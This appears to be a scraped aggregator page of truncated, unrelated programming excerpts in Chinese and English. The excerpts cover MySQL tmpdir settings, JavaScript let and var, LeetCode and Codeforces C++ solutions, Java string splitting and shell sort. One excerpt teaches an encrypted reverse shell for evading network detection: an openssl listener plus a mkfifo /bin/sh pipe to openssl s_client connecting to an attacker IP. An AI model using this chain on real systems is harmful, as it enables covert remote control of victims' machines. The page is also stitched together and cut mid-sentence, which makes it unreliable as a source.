tmp

Changing the tmp folder of mysql

余生颓废 提交于 2019-12-02 19:00:21
Our Mysql queries use temporary tables which creates temporary files in the process. Currently the files are written to /tmp. How exactly can the path of the temp folder to which mysql writes to be changed? You should edit your my.cnf tmpdir = /whatewer/you/want and after that restart mysql P.S. Don't forget give write permissions to /whatewer/you/want for mysql user Here is an example to move the mysqld tmpdir from /tmp to /run/mysqld which already exists on Ubuntu 13.04 and is a tmpfs (memory/ram): sudo vim /etc/mysql/conf.d/local.cnf Add: [mysqld] tmpdir = /run/mysqld Then: sudo service

let ES6

时光毁灭记忆、已成空白 提交于 2019-12-02 18:48:19
let命令 基本用法 ES6新增了let命令,用来声明变量。它的用法类似于var,但是所声明的变量,只在let命令所在的代码块内有效。 { var a = 1; let b = 2; } console.log(a) ; // 1 console.log(b) ; // ReferenceError: b is not 上面代码在代码块之中,分别用let和var声明了两个变量。然后在代码块之外调用这两个变量,结果let声明的变量报错,var声明的变量返回了正确的值。这表明,let声明的变量只在它所在的代码块有效。 for循环的计数器,就很合适使用let命令。 for (let i = 0; i < 10; i++) {} console.log(i); //ReferenceError: i is not defined 上面代码中,计数器i只在for循环体内有效,在循环体外引用就会报错。 下面的代码如果使用var,最后输出的是10。 var a = []; for (var i = 0; i < 10; i++) { a[i] = function () { console.log(i); }; } a[6](); // 10 上面代码中,变量i是var声明的,在全局范围内都有效。所以每一次循环,新的i值都会覆盖旧值,导致最后输出的是最后一轮的i的值。 如果使用let

leetCode1200

三世轮回 提交于 2019-12-02 15:24:05
先排序 class Solution { public: vector<vector<int>> minimumAbsDifference(vector<int>& arr) { vector<vector<int>>ans; vector<int>tmp; sort(arr.begin(),arr.end()); int Min = INT_MAX; for(int i = 0;i<arr.size()-1;i++) { tmp.clear(); if(arr[i+1]-arr[i]<Min) { Min = arr[i+1]-arr[i]; ans.clear(); tmp.push_back(arr[i]); tmp.push_back(arr[i+1]); ans.push_back(tmp); } else if(arr[i+1] - arr[i] == Min) { tmp.push_back(arr[i]); tmp.push_back(arr[i+1]); ans.push_back(tmp); } } return ans; } }; 来源: https://blog.csdn.net/qq_36257146/article/details/102779400

java 字符串分割的三种方法(总结)

旧时模样 提交于 2019-12-02 15:11:27
可能一下子就会想到使用split()方法,用split()方法实现是最方便的,但是它的效率比较低 使用效率较高的StringTokenizer类分割字符串,StringTokenizer类是JDK中提供的专门用来处理字符串分割子串的工具类。 它的构造函数如下: public StringTokenizer(String str,String delim) str是要分割处理的字符串,delim是分割符号,当一个StringTokenizer对象生成后,通过它的nextToken()方法便可以得到下一个分割的字符串,再通过hasMoreTokens()方法可以知道是否有更多的子字符串需要处理。这种方法的效率比第一种高。 使用String的两个方法—indexOf()和subString(),subString()是采用了时间换取空间技术,因此它的执行效率相对会很快,只要处理好内存溢出问题,但可大胆使用。而indexOf()函数是一个执行速度非常快的方法 原型如下 public int indexOf(int ch) 它返回指定字符在String对象的位置。如下: 举例: "ab&&2"以&分割成"ab" "2" String tmp = "ab&&2"; String splitStr = null; int j = tmp.indexOf("&");      // 找分隔符的位置

保存EXCEL文件原理

假装没事ソ 提交于 2019-12-02 12:28:25
假设你的Excel文件名叫excel . xlsx 保存时 ( 1 ) excel . xlsx写入到DCD652B . tmp文件中 ( 2 ) excel . xlsx重命名为 6AF04530. tmp ( 3 ) DCD6528 . tmp重命名为excel . xlsx ( 4 ) 删除 6AF04530. tmp文件 以上你会发现出现两个含有你写的内容的文件 过程很复杂,所以用户在保存excel文件时容易出现保存失败的问题 来源: https://blog.csdn.net/qq_43776408/article/details/102760619

js变量var与let的区别

谁都会走 提交于 2019-12-02 12:07:22
1.作用域 通过var定义的变量,作用域是整个封闭函数,是全域的 。通过let定义的变量,作用域是在块级或是子块中。 for (let i = 0; i < 10; i++) { // ... } console.log(i); // ReferenceError: i is not defined //计数器i只在for循环体内有效,在循环体外引用就会报错 2. 变量提升现象 : 浏览器在运行代码之前会进行预解析,首先解析函数声明,定义变量,解析完之后再对函数、变量进行运行、赋值等。 不论var声明的变量处于当前作用域的第几行,都会提升到作用域的头部。 var 声明的变量会被提升到作用域的顶部并初始化为undefined,而let声明的变量在作用域的顶部未被初始化 // var 的情况 console.log(foo); // 输出undefined var foo = 2; //相当于 var foo; //声明且初始化为undefined console.log(foo); foo=2; // let 的情况 console.log(bar); // 报错ReferenceError let bar = 2; //相当于在第一行先声明bar但没有初始化,直到赋值时才初始化 但是直接用let声明变量不赋值是会打印undefined,还是初始化了 let a; alert(a);

思维+multiset优化——cf1249E

倖福魔咒の 提交于 2019-12-02 11:26:47
正着想很难,但是反着想就容易有思路 /* 将问题转化为 挑选最多的线段,每个点的覆盖次数不超过k次 multiset里存k个右端点,表示第i层当前的最远右端点,每次来一根新线段,能填就填进并更新,不能填就更新右端点, 线段seg 能填进当且仅当multiset的首元素<seg.s, 然后把这个首元素删除,更新为seg.t 反之找到multiset的尾元素,如果>seg.t,那么更新为seg.t */ #include<bits/stdc++.h> #include<set> using namespace std; #define N 200005 struct Seg{int l,r,id;}seg[N]; int cmp(Seg a,Seg b){return a.l<b.l;} multiset<pair<int,int> >s; multiset<pair<int,int> >::iterator it,itt; int n,k,has[N]; int main(){ cin>>n>>k; for(int i=1;i<=n;i++){ cin>>seg[i].l>>seg[i].r; seg[i].id=i; } sort(seg+1,seg+1+n,cmp); for(int i=1;i<=k;i++)s.insert(make_pair(0,0)); int ans=0

Reverse-Encrypted-Shell-via-Openssl

爷,独闯天下 提交于 2019-12-02 08:33:15
目录 0x01 简介 0x02 使用openssl反弹加密shell 0x01 简介 使用常规NC或者其他常规的方法反弹shell,由于流量都是明文的,很容易被网络防御设备检测到,因此需要对传输内容进行混淆或者加密。并且几乎每一个https都有openssl库,方便我们使用openssl反弹shell。下面将在linux下进行演示。 0x02 使用openssl反弹加密shell linux 2.1 生成密钥 openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes 自生成密钥会提示输入证书信息,如果懒人就可以一路回车。回在本目录下生成文件 key.pem cert.pem 启动监听 openssl s_server -quiet -key key.pem -cert cert.pem -port 23 此时在攻击机23端口上启动了SSL/server服务 2.2 受害主机上反弹加密shell mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.30.119:23 > /tmp/s; rm /tmp/s tips: 1.需要注意的是

希尔排序(C++ & Python)

余生长醉 提交于 2019-12-02 06:48:07
希尔排序 希尔排序(Shell Sort)是插入排序的一种,它是针对直接插入排序算法的改进。该方法又称缩小增量排序,因DL.Shell于1959年提出而得名。 希尔排序实质上是一种分组插入方法。它的基本思想是:对于n个待排序的数列,取一个小于n的整数gap(gap被称为步长)将待排序元素分成若干个组子序列,所有距离为gap的倍数的记录放在同一个组中;然后,对各组内的元素进行直接插入排序。 这一趟排序完成之后,每一个组的元素都是有序的。然后减小gap的值,并重复执行上述的分组和排序。重复这样的操作,当gap=1时,整个数列就是有序的。 下面以数列{80,30,60,40,20,10,50,70}为例,演示它的希尔排序过程。 第1趟:(gap=4) 当gap=4时,意味着将数列分为4个组: {80,20},{30,10},{60,50},{40,70}。 对应数列: {80,30,60,40,20,10,50,70} 对这4个组分别进行排序,排序结果: {20,80},{10,30},{50,60},{40,70}。 对应数列: {20,10,50,40,80,30,60,70} 第2趟:(gap=2) 当gap=2时,意味着将数列分为2个组:{20,50,80,60}, {10,40,30,70}。 对应数列: {20,10,50,40,80,30,60,70} 注意:{20,50

CF506E Mr. Kitayuta's Gift

你说的曾经没有我的故事 提交于 2019-12-02 06:41:49
这道题神仙到让我面临着买不到冰皮月亮蛋糕的风险来写题解 (蛋糕真好吃呜呜呜) 这篇题解参考了 CQzhangyu 神仙的做法。 (目测比标程科学好写) 限制是要回文,根据我们做字符串计数的常识,一定是尽量能匹配的先匹配上,这样就不会重复计数了。 因此,可以想到一种直观的DP方法: 令$f[i][j][k]$表示前面匹配到i后面匹配到j加入了k个字符的方案数,我们每次看它是否和前后匹配来转移。 那么它应该是一个有限状态自动机上的转移 大概长这个样子 相当于有向图上路径计数,于是就可以矩乘优化。考虑它有S^3个节点,肯定没戏的。 进一步优化 我们把前后不同的转移标记为红点 它有方案数为24的自环,相同类似的标为绿点。 那么我们发现我们其实并不关心红绿的顺序,我们只关心它出现的次数,最后乘上方案数就可以了。 先考虑我们如何得到这个方案数,用$f[i][j][k]$表示前i个和后j个,走过k个红点的方案数。 有两种转移 1.ch[i]==ch[j] $f[i+1][j-1][k] += f[i][j][k]$ 2.ch[i]!=ch[j] $f[i+1][j][k]+=f[i][j][k]$ $f[i][j-1][k]+=f[i][j][k]$ 我们现在再来看看原来的自动机变成了什么样子 应该是这个样子,每一条链有x个红点 $\lceil \frac{n-x}{2} \rceil$个绿点